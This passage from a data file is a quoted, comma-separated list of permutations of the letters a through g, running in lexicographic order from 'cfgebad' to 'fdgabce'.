"cfgebad", "cfgebda", "cfgedab", "cfgedba", "cgabdef", "cgabdfe", "cgabedf", "cgabefd", "cgabfde", "cgabfed", "cgadbef", "cgadbfe", "cgadebf", "cgadefb", "cgadfbe", "cgadfeb", "cgaebdf", "cgaebfd", "cgaedbf", "cgaedfb", "cgaefbd", "cgaefdb", "cgafbde", "cgafbed", "cgafdbe", "cgafdeb", "cgafebd", "cgafedb", "cgbadef", "cgbadfe", "cgbaedf", "cgbaefd", "cgbafde", "cgbafed", "cgbdaef", "cgbdafe", "cgbdeaf", "cgbdefa", "cgbdfae", "cgbdfea", "cgbeadf", "cgbeafd", "cgbedaf", "cgbedfa", "cgbefad", "cgbefda", "cgbfade", "cgbfaed", "cgbfdae", "cgbfdea", "cgbfead", "cgbfeda", "cgdabef", "cgdabfe", "cgdaebf", "cgdaefb", "cgdafbe", "cgdafeb", "cgdbaef", "cgdbafe", "cgdbeaf", "cgdbefa", "cgdbfae", "cgdbfea", "cgdeabf", "cgdeafb", "cgdebaf", "cgdebfa", "cgdefab", "cgdefba", "cgdfabe", "cgdfaeb", "cgdfbae", "cgdfbea", "cgdfeab", "cgdfeba", "cgeabdf", "cgeabfd", "cgeadbf", "cgeadfb", "cgeafbd", "cgeafdb", "cgebadf", "cgebafd", "cgebdaf", "cgebdfa", "cgebfad", "cgebfda", "cgedabf", "cgedafb", "cgedbaf", "cgedbfa", "cgedfab", "cgedfba", "cgefabd", "cgefadb", "cgefbad", "cgefbda", "cgefdab", "cgefdba", "cgfabde", "cgfabed", "cgfadbe", "cgfadeb", "cgfaebd", "cgfaedb", "cgfbade", "cgfbaed", "cgfbdae", "cgfbdea", "cgfbead", "cgfbeda", "cgfdabe", "cgfdaeb", "cgfdbae", "cgfdbea", "cgfdeab", "cgfdeba", "cgfeabd", "cgfeadb", "cgfebad", "cgfebda", "cgfedab", "cgfedba", "dabcefg", "dabcegf", "dabcfeg", "dabcfge", "dabcgef", "dabcgfe", "dabecfg", "dabecgf", "dabefcg", "dabefgc", "dabegcf", "dabegfc", "dabfceg", "dabfcge", "dabfecg", "dabfegc", "dabfgce", "dabfgec", "dabgcef", "dabgcfe", "dabgecf", "dabgefc", "dabgfce", "dabgfec", "dacbefg", "dacbegf", "dacbfeg", "dacbfge", "dacbgef", "dacbgfe", "dacebfg", "dacebgf", "dacefbg", "dacefgb", "dacegbf", "dacegfb", "dacfbeg", "dacfbge", "dacfebg", "dacfegb", "dacfgbe", "dacfgeb", "dacgbef", "dacgbfe", "dacgebf", "dacgefb", "dacgfbe", "dacgfeb", "daebcfg", "daebcgf", "daebfcg", "daebfgc", "daebgcf", "daebgfc", "daecbfg", "daecbgf", "daecfbg", "daecfgb", "daecgbf", "daecgfb", "daefbcg", "daefbgc", "daefcbg", "daefcgb", "daefgbc", "daefgcb", "daegbcf", "daegbfc", "daegcbf", "daegcfb", "daegfbc", "daegfcb", "dafbceg", "dafbcge", "dafbecg", "dafbegc", "dafbgce", "dafbgec", "dafcbeg", "dafcbge", "dafcebg", "dafcegb", "dafcgbe", "dafcgeb", "dafebcg", "dafebgc", "dafecbg", "dafecgb", "dafegbc", "dafegcb", "dafgbce", "dafgbec", "dafgcbe", "dafgceb", "dafgebc", "dafgecb", "dagbcef", "dagbcfe", "dagbecf", "dagbefc", "dagbfce", "dagbfec", "dagcbef", "dagcbfe", "dagcebf", "dagcefb", "dagcfbe", "dagcfeb", "dagebcf", "dagebfc", "dagecbf", "dagecfb", "dagefbc", "dagefcb", "dagfbce", "dagfbec", "dagfcbe", "dagfceb", "dagfebc", "dagfecb", "dbacefg", "dbacegf", "dbacfeg", "dbacfge", "dbacgef", "dbacgfe", "dbaecfg", "dbaecgf", "dbaefcg", "dbaefgc", "dbaegcf", "dbaegfc", "dbafceg", "dbafcge", "dbafecg", "dbafegc", "dbafgce", "dbafgec", "dbagcef", "dbagcfe", "dbagecf", "dbagefc", "dbagfce", "dbagfec", "dbcaefg", "dbcaegf", "dbcafeg", "dbcafge", "dbcagef", "dbcagfe", "dbceafg", "dbceagf", "dbcefag", "dbcefga", "dbcegaf", "dbcegfa", "dbcfaeg", "dbcfage", "dbcfeag", "dbcfega", "dbcfgae", "dbcfgea", "dbcgaef", "dbcgafe", "dbcgeaf", "dbcgefa", "dbcgfae", "dbcgfea", "dbeacfg", "dbeacgf", "dbeafcg", "dbeafgc", "dbeagcf", "dbeagfc", "dbecafg", "dbecagf", "dbecfag", "dbecfga", "dbecgaf", "dbecgfa", "dbefacg", "dbefagc", "dbefcag", "dbefcga", "dbefgac", "dbefgca", "dbegacf", "dbegafc", "dbegcaf", "dbegcfa", "dbegfac", "dbegfca", "dbfaceg", "dbfacge", "dbfaecg", "dbfaegc", "dbfagce", "dbfagec", "dbfcaeg", "dbfcage", "dbfceag", "dbfcega", "dbfcgae", "dbfcgea", "dbfeacg", "dbfeagc", "dbfecag", "dbfecga", "dbfegac", "dbfegca", "dbfgace", "dbfgaec", "dbfgcae", "dbfgcea", "dbfgeac", "dbfgeca", "dbgacef", "dbgacfe", "dbgaecf", "dbgaefc", "dbgafce", "dbgafec", "dbgcaef", "dbgcafe", "dbgceaf", "dbgcefa", "dbgcfae", "dbgcfea", "dbgeacf", "dbgeafc", "dbgecaf", "dbgecfa", "dbgefac", "dbgefca", "dbgface", "dbgfaec", "dbgfcae", "dbgfcea", "dbgfeac", "dbgfeca", "dcabefg", "dcabegf", "dcabfeg", "dcabfge", "dcabgef", "dcabgfe", "dcaebfg", "dcaebgf", "dcaefbg", "dcaefgb", "dcaegbf", "dcaegfb", "dcafbeg", "dcafbge", "dcafebg", "dcafegb", "dcafgbe", "dcafgeb", "dcagbef", "dcagbfe", "dcagebf", "dcagefb", "dcagfbe", "dcagfeb", "dcbaefg", "dcbaegf", "dcbafeg", "dcbafge", "dcbagef", "dcbagfe", "dcbeafg", "dcbeagf", "dcbefag", "dcbefga", "dcbegaf", "dcbegfa", "dcbfaeg", "dcbfage", "dcbfeag", "dcbfega", "dcbfgae", "dcbfgea", "dcbgaef", "dcbgafe", "dcbgeaf", "dcbgefa", "dcbgfae", "dcbgfea", "dceabfg", "dceabgf", "dceafbg", "dceafgb", "dceagbf", "dceagfb", "dcebafg", "dcebagf", "dcebfag", "dcebfga", "dcebgaf", "dcebgfa", "dcefabg", "dcefagb", "dcefbag", "dcefbga", "dcefgab", "dcefgba", "dcegabf", "dcegafb", "dcegbaf", "dcegbfa", "dcegfab", "dcegfba", "dcfabeg", "dcfabge", "dcfaebg", "dcfaegb", "dcfagbe", "dcfageb", "dcfbaeg", "dcfbage", "dcfbeag", "dcfbega", "dcfbgae", "dcfbgea", "dcfeabg", "dcfeagb", "dcfebag", "dcfebga", "dcfegab", "dcfegba", "dcfgabe", "dcfgaeb", "dcfgbae", "dcfgbea", "dcfgeab", "dcfgeba", "dcgabef", "dcgabfe", "dcgaebf", "dcgaefb", "dcgafbe", "dcgafeb", "dcgbaef", "dcgbafe", "dcgbeaf", "dcgbefa", "dcgbfae", "dcgbfea", "dcgeabf", "dcgeafb", "dcgebaf", "dcgebfa", "dcgefab", "dcgefba", "dcgfabe", "dcgfaeb", "dcgfbae", "dcgfbea", "dcgfeab", "dcgfeba", "deabcfg", "deabcgf", "deabfcg", "deabfgc", "deabgcf", "deabgfc", "deacbfg", "deacbgf", "deacfbg", "deacfgb", "deacgbf", "deacgfb", "deafbcg", "deafbgc", "deafcbg", "deafcgb", "deafgbc", "deafgcb", "deagbcf", "deagbfc", "deagcbf", "deagcfb", "deagfbc", "deagfcb", "debacfg", "debacgf", "debafcg", "debafgc", "debagcf", "debagfc", "debcafg", "debcagf", "debcfag", "debcfga", "debcgaf", "debcgfa", "debfacg", "debfagc", "debfcag", "debfcga", "debfgac", "debfgca", "debgacf", "debgafc", "debgcaf", "debgcfa", "debgfac", "debgfca", "decabfg", "decabgf", "decafbg", "decafgb", "decagbf", "decagfb", "decbafg", "decbagf", "decbfag", "decbfga", "decbgaf", "decbgfa", "decfabg", "decfagb", "decfbag", "decfbga", "decfgab", "decfgba", "decgabf", "decgafb", "decgbaf", "decgbfa", "decgfab", "decgfba", "defabcg", "defabgc", "defacbg", "defacgb", "defagbc", "defagcb", "defbacg", "defbagc", "defbcag", "defbcga", "defbgac", "defbgca", "defcabg", "defcagb", "defcbag", "defcbga", "defcgab", "defcgba", "defgabc", "defgacb", "defgbac", "defgbca", "defgcab", "defgcba", "degabcf", "degabfc", "degacbf", "degacfb", "degafbc", "degafcb", "degbacf", "degbafc", "degbcaf", "degbcfa", "degbfac", "degbfca", "degcabf", "degcafb", "degcbaf", "degcbfa", "degcfab", "degcfba", "degfabc", "degfacb", "degfbac", "degfbca", "degfcab", "degfcba", "dfabceg", "dfabcge", "dfabecg", "dfabegc", "dfabgce", "dfabgec", "dfacbeg", "dfacbge", "dfacebg", "dfacegb", "dfacgbe", "dfacgeb", "dfaebcg", "dfaebgc", "dfaecbg", "dfaecgb", "dfaegbc", "dfaegcb", "dfagbce", "dfagbec", "dfagcbe", "dfagceb", "dfagebc", "dfagecb", "dfbaceg", "dfbacge", "dfbaecg", "dfbaegc", "dfbagce", "dfbagec", "dfbcaeg", "dfbcage", "dfbceag", "dfbcega", "dfbcgae", "dfbcgea", "dfbeacg", "dfbeagc", "dfbecag", "dfbecga", "dfbegac", "dfbegca", "dfbgace", "dfbgaec", "dfbgcae", "dfbgcea", "dfbgeac", "dfbgeca", "dfcabeg", "dfcabge", "dfcaebg", "dfcaegb", "dfcagbe", "dfcageb", "dfcbaeg", "dfcbage", "dfcbeag", "dfcbega", "dfcbgae", "dfcbgea", "dfceabg", "dfceagb", "dfcebag", "dfcebga", "dfcegab", "dfcegba", "dfcgabe", "dfcgaeb", "dfcgbae", "dfcgbea", "dfcgeab", "dfcgeba", "dfeabcg", "dfeabgc", "dfeacbg", "dfeacgb", "dfeagbc", "dfeagcb", "dfebacg", "dfebagc", "dfebcag", "dfebcga", "dfebgac", "dfebgca", "dfecabg", "dfecagb", "dfecbag", "dfecbga", "dfecgab", "dfecgba", "dfegabc", "dfegacb", "dfegbac", "dfegbca", "dfegcab", "dfegcba", "dfgabce", "dfgabec", "dfgacbe", "dfgaceb", "dfgaebc", "dfgaecb", "dfgbace", "dfgbaec", "dfgbcae", "dfgbcea", "dfgbeac", "dfgbeca", "dfgcabe", "dfgcaeb", "dfgcbae", "dfgcbea", "dfgceab", "dfgceba", "dfgeabc", "dfgeacb", "dfgebac", "dfgebca", "dfgecab", "dfgecba", "dgabcef", "dgabcfe", "dgabecf", "dgabefc", "dgabfce", "dgabfec", "dgacbef", "dgacbfe", "dgacebf", "dgacefb", "dgacfbe", "dgacfeb", "dgaebcf", "dgaebfc", "dgaecbf", "dgaecfb", "dgaefbc", "dgaefcb", "dgafbce", "dgafbec", "dgafcbe", "dgafceb", "dgafebc", "dgafecb", "dgbacef", "dgbacfe", "dgbaecf", "dgbaefc", "dgbafce", "dgbafec", "dgbcaef", "dgbcafe", "dgbceaf", "dgbcefa", "dgbcfae", "dgbcfea", "dgbeacf", "dgbeafc", "dgbecaf", "dgbecfa", "dgbefac", "dgbefca", "dgbface", "dgbfaec", "dgbfcae", "dgbfcea", "dgbfeac", "dgbfeca", "dgcabef", "dgcabfe", "dgcaebf", "dgcaefb", "dgcafbe", "dgcafeb", "dgcbaef", "dgcbafe", "dgcbeaf", "dgcbefa", "dgcbfae", "dgcbfea", "dgceabf", "dgceafb", "dgcebaf", "dgcebfa", "dgcefab", "dgcefba", "dgcfabe", "dgcfaeb", "dgcfbae", "dgcfbea", "dgcfeab", "dgcfeba", "dgeabcf", "dgeabfc", "dgeacbf", "dgeacfb", "dgeafbc", "dgeafcb", "dgebacf", "dgebafc", "dgebcaf", "dgebcfa", "dgebfac", "dgebfca", "dgecabf", "dgecafb", "dgecbaf", "dgecbfa", "dgecfab", "dgecfba", "dgefabc", "dgefacb", "dgefbac", "dgefbca", "dgefcab", "dgefcba", "dgfabce", "dgfabec", "dgfacbe", "dgfaceb", "dgfaebc", "dgfaecb", "dgfbace", "dgfbaec", "dgfbcae", "dgfbcea", "dgfbeac", "dgfbeca", "dgfcabe", "dgfcaeb", "dgfcbae", "dgfcbea", "dgfceab", "dgfceba", "dgfeabc", "dgfeacb", "dgfebac", "dgfebca", "dgfecab", "dgfecba", "eabcdfg", "eabcdgf", "eabcfdg", "eabcfgd", "eabcgdf", "eabcgfd", "eabdcfg", "eabdcgf", "eabdfcg", "eabdfgc", "eabdgcf", "eabdgfc", "eabfcdg", "eabfcgd", "eabfdcg", "eabfdgc", "eabfgcd", "eabfgdc", "eabgcdf", "eabgcfd", "eabgdcf", "eabgdfc", "eabgfcd", "eabgfdc", "eacbdfg", "eacbdgf", "eacbfdg", "eacbfgd", "eacbgdf", "eacbgfd", "eacdbfg", "eacdbgf", "eacdfbg", "eacdfgb", "eacdgbf", "eacdgfb", "eacfbdg", "eacfbgd", "eacfdbg", "eacfdgb", "eacfgbd", "eacfgdb", "eacgbdf", "eacgbfd", "eacgdbf", "eacgdfb", "eacgfbd", "eacgfdb", "eadbcfg", "eadbcgf", "eadbfcg", "eadbfgc", "eadbgcf", "eadbgfc", "eadcbfg", "eadcbgf", "eadcfbg", "eadcfgb", "eadcgbf", "eadcgfb", "eadfbcg", "eadfbgc", "eadfcbg", "eadfcgb", "eadfgbc", "eadfgcb", "eadgbcf", "eadgbfc", "eadgcbf", "eadgcfb", "eadgfbc", "eadgfcb", "eafbcdg", "eafbcgd", "eafbdcg", "eafbdgc", "eafbgcd", "eafbgdc", "eafcbdg", "eafcbgd", "eafcdbg", "eafcdgb", "eafcgbd", "eafcgdb", "eafdbcg", "eafdbgc", "eafdcbg", "eafdcgb", "eafdgbc", "eafdgcb", "eafgbcd", "eafgbdc", "eafgcbd", "eafgcdb", "eafgdbc", "eafgdcb", "eagbcdf", "eagbcfd", "eagbdcf", "eagbdfc", "eagbfcd", "eagbfdc", "eagcbdf", "eagcbfd", "eagcdbf", "eagcdfb", "eagcfbd", "eagcfdb", "eagdbcf", "eagdbfc", "eagdcbf", "eagdcfb", "eagdfbc", "eagdfcb", "eagfbcd", "eagfbdc", "eagfcbd", "eagfcdb", "eagfdbc", "eagfdcb", "ebacdfg", "ebacdgf", "ebacfdg", "ebacfgd", "ebacgdf", "ebacgfd", "ebadcfg", "ebadcgf", "ebadfcg", "ebadfgc", "ebadgcf", "ebadgfc", "ebafcdg", "ebafcgd", "ebafdcg", "ebafdgc", "ebafgcd", "ebafgdc", "ebagcdf", "ebagcfd", "ebagdcf", "ebagdfc", "ebagfcd", "ebagfdc", "ebcadfg", "ebcadgf", "ebcafdg", "ebcafgd", "ebcagdf", "ebcagfd", "ebcdafg", "ebcdagf", "ebcdfag", "ebcdfga", "ebcdgaf", "ebcdgfa", "ebcfadg", "ebcfagd", "ebcfdag", "ebcfdga", "ebcfgad", "ebcfgda", "ebcgadf", "ebcgafd", "ebcgdaf", "ebcgdfa", "ebcgfad", "ebcgfda", "ebdacfg", "ebdacgf", "ebdafcg", "ebdafgc", "ebdagcf", "ebdagfc", "ebdcafg", "ebdcagf", "ebdcfag", "ebdcfga", "ebdcgaf", "ebdcgfa", "ebdfacg", "ebdfagc", "ebdfcag", "ebdfcga", "ebdfgac", "ebdfgca", "ebdgacf", "ebdgafc", "ebdgcaf", "ebdgcfa", "ebdgfac", "ebdgfca", "ebfacdg", "ebfacgd", "ebfadcg", "ebfadgc", "ebfagcd", "ebfagdc", "ebfcadg", "ebfcagd", "ebfcdag", "ebfcdga", "ebfcgad", "ebfcgda", "ebfdacg", "ebfdagc", "ebfdcag", "ebfdcga", "ebfdgac", "ebfdgca", "ebfgacd", "ebfgadc", "ebfgcad", "ebfgcda", "ebfgdac", "ebfgdca", "ebgacdf", "ebgacfd", "ebgadcf", "ebgadfc", "ebgafcd", "ebgafdc", "ebgcadf", "ebgcafd", "ebgcdaf", "ebgcdfa", "ebgcfad", "ebgcfda", "ebgdacf", "ebgdafc", "ebgdcaf", "ebgdcfa", "ebgdfac", "ebgdfca", "ebgfacd", "ebgfadc", "ebgfcad", "ebgfcda", "ebgfdac", "ebgfdca", "ecabdfg", "ecabdgf", "ecabfdg", "ecabfgd", "ecabgdf", "ecabgfd", "ecadbfg", "ecadbgf", "ecadfbg", "ecadfgb", "ecadgbf", "ecadgfb", "ecafbdg", "ecafbgd", "ecafdbg", "ecafdgb", "ecafgbd", "ecafgdb", "ecagbdf", "ecagbfd", "ecagdbf", "ecagdfb", "ecagfbd", "ecagfdb", "ecbadfg", "ecbadgf", "ecbafdg", "ecbafgd", "ecbagdf", "ecbagfd", "ecbdafg", "ecbdagf", "ecbdfag", "ecbdfga", "ecbdgaf", "ecbdgfa", "ecbfadg", "ecbfagd", "ecbfdag", "ecbfdga", "ecbfgad", "ecbfgda", "ecbgadf", "ecbgafd", "ecbgdaf", "ecbgdfa", "ecbgfad", "ecbgfda", "ecdabfg", "ecdabgf", "ecdafbg", "ecdafgb", "ecdagbf", "ecdagfb", "ecdbafg", "ecdbagf", "ecdbfag", "ecdbfga", "ecdbgaf", "ecdbgfa", "ecdfabg", "ecdfagb", "ecdfbag", "ecdfbga", "ecdfgab", "ecdfgba", "ecdgabf", "ecdgafb", "ecdgbaf", "ecdgbfa", "ecdgfab", "ecdgfba", "ecfabdg", "ecfabgd", "ecfadbg", "ecfadgb", "ecfagbd", "ecfagdb", "ecfbadg", "ecfbagd", "ecfbdag", "ecfbdga", "ecfbgad", "ecfbgda", "ecfdabg", "ecfdagb", "ecfdbag", "ecfdbga", "ecfdgab", "ecfdgba", "ecfgabd", "ecfgadb", "ecfgbad", "ecfgbda", "ecfgdab", "ecfgdba", "ecgabdf", "ecgabfd", "ecgadbf", "ecgadfb", "ecgafbd", "ecgafdb", "ecgbadf", "ecgbafd", "ecgbdaf", "ecgbdfa", "ecgbfad", "ecgbfda", "ecgdabf", "ecgdafb", "ecgdbaf", "ecgdbfa", "ecgdfab", "ecgdfba", "ecgfabd", "ecgfadb", "ecgfbad", "ecgfbda", "ecgfdab", "ecgfdba", "edabcfg", "edabcgf", "edabfcg", "edabfgc", "edabgcf", "edabgfc", "edacbfg", "edacbgf", "edacfbg", "edacfgb", "edacgbf", "edacgfb", "edafbcg", "edafbgc", "edafcbg", "edafcgb", "edafgbc", "edafgcb", "edagbcf", "edagbfc", "edagcbf", "edagcfb", "edagfbc", "edagfcb", "edbacfg", "edbacgf", "edbafcg", "edbafgc", "edbagcf", "edbagfc", "edbcafg", "edbcagf", "edbcfag", "edbcfga", "edbcgaf", "edbcgfa", "edbfacg", "edbfagc", "edbfcag", "edbfcga", "edbfgac", "edbfgca", "edbgacf", "edbgafc", "edbgcaf", "edbgcfa", "edbgfac", "edbgfca", "edcabfg", "edcabgf", "edcafbg", "edcafgb", "edcagbf", "edcagfb", "edcbafg", "edcbagf", "edcbfag", "edcbfga", "edcbgaf", "edcbgfa", "edcfabg", "edcfagb", "edcfbag", "edcfbga", "edcfgab", "edcfgba", "edcgabf", "edcgafb", "edcgbaf", "edcgbfa", "edcgfab", "edcgfba", "edfabcg", "edfabgc", "edfacbg", "edfacgb", "edfagbc", "edfagcb", "edfbacg", "edfbagc", "edfbcag", "edfbcga", "edfbgac", "edfbgca", "edfcabg", "edfcagb", "edfcbag", "edfcbga", "edfcgab", "edfcgba", "edfgabc", "edfgacb", "edfgbac", "edfgbca", "edfgcab", "edfgcba", "edgabcf", "edgabfc", "edgacbf", "edgacfb", "edgafbc", "edgafcb", "edgbacf", "edgbafc", "edgbcaf", "edgbcfa", "edgbfac", "edgbfca", "edgcabf", "edgcafb", "edgcbaf", "edgcbfa", "edgcfab", "edgcfba", "edgfabc", "edgfacb", "edgfbac", "edgfbca", "edgfcab", "edgfcba", "efabcdg", "efabcgd", "efabdcg", "efabdgc", "efabgcd", "efabgdc", "efacbdg", "efacbgd", "efacdbg", "efacdgb", "efacgbd", "efacgdb", "efadbcg", "efadbgc", "efadcbg", "efadcgb", "efadgbc", "efadgcb", "efagbcd", "efagbdc", "efagcbd", "efagcdb", "efagdbc", "efagdcb", "efbacdg", "efbacgd", "efbadcg", "efbadgc", "efbagcd", "efbagdc", "efbcadg", "efbcagd", "efbcdag", "efbcdga", "efbcgad", "efbcgda", "efbdacg", "efbdagc", "efbdcag", "efbdcga", "efbdgac", "efbdgca", "efbgacd", "efbgadc", "efbgcad", "efbgcda", "efbgdac", "efbgdca", "efcabdg", "efcabgd", "efcadbg", "efcadgb", "efcagbd", "efcagdb", "efcbadg", "efcbagd", "efcbdag", "efcbdga", "efcbgad", "efcbgda", "efcdabg", "efcdagb", "efcdbag", "efcdbga", "efcdgab", "efcdgba", "efcgabd", "efcgadb", "efcgbad", "efcgbda", "efcgdab", "efcgdba", "efdabcg", "efdabgc", "efdacbg", "efdacgb", "efdagbc", "efdagcb", "efdbacg", "efdbagc", "efdbcag", "efdbcga", "efdbgac", "efdbgca", "efdcabg", "efdcagb", "efdcbag", "efdcbga", "efdcgab", "efdcgba", "efdgabc", "efdgacb", "efdgbac", "efdgbca", "efdgcab", "efdgcba", "efgabcd", "efgabdc", "efgacbd", "efgacdb", "efgadbc", "efgadcb", "efgbacd", "efgbadc", "efgbcad", "efgbcda", "efgbdac", "efgbdca", "efgcabd", "efgcadb", "efgcbad", "efgcbda", "efgcdab", "efgcdba", "efgdabc", "efgdacb", "efgdbac", "efgdbca", "efgdcab", "efgdcba", "egabcdf", "egabcfd", "egabdcf", "egabdfc", "egabfcd", "egabfdc", "egacbdf", "egacbfd", "egacdbf", "egacdfb", "egacfbd", "egacfdb", "egadbcf", "egadbfc", "egadcbf", "egadcfb", "egadfbc", "egadfcb", "egafbcd", "egafbdc", "egafcbd", "egafcdb", "egafdbc", "egafdcb", "egbacdf", "egbacfd", "egbadcf", "egbadfc", "egbafcd", "egbafdc", "egbcadf", "egbcafd", "egbcdaf", "egbcdfa", "egbcfad", "egbcfda", "egbdacf", "egbdafc", "egbdcaf", "egbdcfa", "egbdfac", "egbdfca", "egbfacd", "egbfadc", "egbfcad", "egbfcda", "egbfdac", "egbfdca", "egcabdf", "egcabfd", "egcadbf", "egcadfb", "egcafbd", "egcafdb", "egcbadf", "egcbafd", "egcbdaf", "egcbdfa", "egcbfad", "egcbfda", "egcdabf", "egcdafb", "egcdbaf", "egcdbfa", "egcdfab", "egcdfba", "egcfabd", "egcfadb", "egcfbad", "egcfbda", "egcfdab", "egcfdba", "egdabcf", "egdabfc", "egdacbf", "egdacfb", "egdafbc", "egdafcb", "egdbacf", "egdbafc", "egdbcaf", "egdbcfa", "egdbfac", "egdbfca", "egdcabf", "egdcafb", "egdcbaf", "egdcbfa", "egdcfab", "egdcfba", "egdfabc", "egdfacb", "egdfbac", "egdfbca", "egdfcab", "egdfcba", "egfabcd", "egfabdc", "egfacbd", "egfacdb", "egfadbc", "egfadcb", "egfbacd", "egfbadc", "egfbcad", "egfbcda", "egfbdac", "egfbdca", "egfcabd", "egfcadb", "egfcbad", "egfcbda", "egfcdab", "egfcdba", "egfdabc", "egfdacb", "egfdbac", "egfdbca", "egfdcab", "egfdcba", "fabcdeg", "fabcdge", "fabcedg", "fabcegd", "fabcgde", "fabcged", "fabdceg", "fabdcge", "fabdecg", "fabdegc", "fabdgce", "fabdgec", "fabecdg", "fabecgd", "fabedcg", "fabedgc", "fabegcd", "fabegdc", "fabgcde", "fabgced", "fabgdce", "fabgdec", "fabgecd", "fabgedc", "facbdeg", "facbdge", "facbedg", "facbegd", "facbgde", "facbged", "facdbeg", "facdbge", "facdebg", "facdegb", "facdgbe", "facdgeb", "facebdg", "facebgd", "facedbg", "facedgb", "facegbd", "facegdb", "facgbde", "facgbed", "facgdbe", "facgdeb", "facgebd", "facgedb", "fadbceg", "fadbcge", "fadbecg", "fadbegc", "fadbgce", "fadbgec", "fadcbeg", "fadcbge", "fadcebg", "fadcegb", "fadcgbe", "fadcgeb", "fadebcg", "fadebgc", "fadecbg", "fadecgb", "fadegbc", "fadegcb", "fadgbce", "fadgbec", "fadgcbe", "fadgceb", "fadgebc", "fadgecb", "faebcdg", "faebcgd", "faebdcg", "faebdgc", "faebgcd", "faebgdc", "faecbdg", "faecbgd", "faecdbg", "faecdgb", "faecgbd", "faecgdb", "faedbcg", "faedbgc", "faedcbg", "faedcgb", "faedgbc", "faedgcb", "faegbcd", "faegbdc", "faegcbd", "faegcdb", "faegdbc", "faegdcb", "fagbcde", "fagbced", "fagbdce", "fagbdec", "fagbecd", "fagbedc", "fagcbde", "fagcbed", "fagcdbe", "fagcdeb", "fagcebd", "fagcedb", "fagdbce", "fagdbec", "fagdcbe", "fagdceb", "fagdebc", "fagdecb", "fagebcd", "fagebdc", "fagecbd", "fagecdb", "fagedbc", "fagedcb", "fbacdeg", "fbacdge", "fbacedg", "fbacegd", "fbacgde", "fbacged", "fbadceg", "fbadcge", "fbadecg", "fbadegc", "fbadgce", "fbadgec", "fbaecdg", "fbaecgd", "fbaedcg", "fbaedgc", "fbaegcd", "fbaegdc", "fbagcde", "fbagced", "fbagdce", "fbagdec", "fbagecd", "fbagedc", "fbcadeg", "fbcadge", "fbcaedg", "fbcaegd", "fbcagde", "fbcaged", "fbcdaeg", "fbcdage", "fbcdeag", "fbcdega", "fbcdgae", "fbcdgea", "fbceadg", "fbceagd", "fbcedag", "fbcedga", "fbcegad", "fbcegda", "fbcgade", "fbcgaed", "fbcgdae", "fbcgdea", "fbcgead", "fbcgeda", "fbdaceg", "fbdacge", "fbdaecg", "fbdaegc", "fbdagce", "fbdagec", "fbdcaeg", "fbdcage", "fbdceag", "fbdcega", "fbdcgae", "fbdcgea", "fbdeacg", "fbdeagc", "fbdecag", "fbdecga", "fbdegac", "fbdegca", "fbdgace", "fbdgaec", "fbdgcae", "fbdgcea", "fbdgeac", "fbdgeca", "fbeacdg", "fbeacgd", "fbeadcg", "fbeadgc", "fbeagcd", "fbeagdc", "fbecadg", "fbecagd", "fbecdag", "fbecdga", "fbecgad", "fbecgda", "fbedacg", "fbedagc", "fbedcag", "fbedcga", "fbedgac", "fbedgca", "fbegacd", "fbegadc", "fbegcad", "fbegcda", "fbegdac", "fbegdca", "fbgacde", "fbgaced", "fbgadce", "fbgadec", "fbgaecd", "fbgaedc", "fbgcade", "fbgcaed", "fbgcdae", "fbgcdea", "fbgcead", "fbgceda", "fbgdace", "fbgdaec", "fbgdcae", "fbgdcea", "fbgdeac", "fbgdeca", "fbgeacd", "fbgeadc", "fbgecad", "fbgecda", "fbgedac", "fbgedca", "fcabdeg", "fcabdge", "fcabedg", "fcabegd", "fcabgde", "fcabged", "fcadbeg", "fcadbge", "fcadebg", "fcadegb", "fcadgbe", "fcadgeb", "fcaebdg", "fcaebgd", "fcaedbg", "fcaedgb", "fcaegbd", "fcaegdb", "fcagbde", "fcagbed", "fcagdbe", "fcagdeb", "fcagebd", "fcagedb", "fcbadeg", "fcbadge", "fcbaedg", "fcbaegd", "fcbagde", "fcbaged", "fcbdaeg", "fcbdage", "fcbdeag", "fcbdega", "fcbdgae", "fcbdgea", "fcbeadg", "fcbeagd", "fcbedag", "fcbedga", "fcbegad", "fcbegda", "fcbgade", "fcbgaed", "fcbgdae", "fcbgdea", "fcbgead", "fcbgeda", "fcdabeg", "fcdabge", "fcdaebg", "fcdaegb", "fcdagbe", "fcdageb", "fcdbaeg", "fcdbage", "fcdbeag", "fcdbega", "fcdbgae", "fcdbgea", "fcdeabg", "fcdeagb", "fcdebag", "fcdebga", "fcdegab", "fcdegba", "fcdgabe", "fcdgaeb", "fcdgbae", "fcdgbea", "fcdgeab", "fcdgeba", "fceabdg", "fceabgd", "fceadbg", "fceadgb", "fceagbd", "fceagdb", "fcebadg", "fcebagd", "fcebdag", "fcebdga", "fcebgad", "fcebgda", "fcedabg", "fcedagb", "fcedbag", "fcedbga", "fcedgab", "fcedgba", "fcegabd", "fcegadb", "fcegbad", "fcegbda", "fcegdab", "fcegdba", "fcgabde", "fcgabed", "fcgadbe", "fcgadeb", "fcgaebd", "fcgaedb", "fcgbade", "fcgbaed", "fcgbdae", "fcgbdea", "fcgbead", "fcgbeda", "fcgdabe", "fcgdaeb", "fcgdbae", "fcgdbea", "fcgdeab", "fcgdeba", "fcgeabd", "fcgeadb", "fcgebad", "fcgebda", "fcgedab", "fcgedba", "fdabceg", "fdabcge", "fdabecg", "fdabegc", "fdabgce", "fdabgec", "fdacbeg", "fdacbge", "fdacebg", "fdacegb", "fdacgbe", "fdacgeb", "fdaebcg", "fdaebgc", "fdaecbg", "fdaecgb", "fdaegbc", "fdaegcb", "fdagbce", "fdagbec", "fdagcbe", "fdagceb", "fdagebc", "fdagecb", "fdbaceg", "fdbacge", "fdbaecg", "fdbaegc", "fdbagce", "fdbagec", "fdbcaeg", "fdbcage", "fdbceag", "fdbcega", "fdbcgae", "fdbcgea", "fdbeacg", "fdbeagc", "fdbecag", "fdbecga", "fdbegac", "fdbegca", "fdbgace", "fdbgaec", "fdbgcae", "fdbgcea", "fdbgeac", "fdbgeca", "fdcabeg", "fdcabge", "fdcaebg", "fdcaegb", "fdcagbe", "fdcageb", "fdcbaeg", "fdcbage", "fdcbeag", "fdcbega", "fdcbgae", "fdcbgea", "fdceabg", "fdceagb", "fdcebag", "fdcebga", "fdcegab", "fdcegba", "fdcgabe", "fdcgaeb", "fdcgbae", "fdcgbea", "fdcgeab", "fdcgeba", "fdeabcg", "fdeabgc", "fdeacbg", "fdeacgb", "fdeagbc", "fdeagcb", "fdebacg", "fdebagc", "fdebcag", "fdebcga", "fdebgac", "fdebgca", "fdecabg", "fdecagb", "fdecbag", "fdecbga", "fdecgab", "fdecgba", "fdegabc", "fdegacb", "fdegbac", "fdegbca", "fdegcab", "fdegcba", "fdgabce", 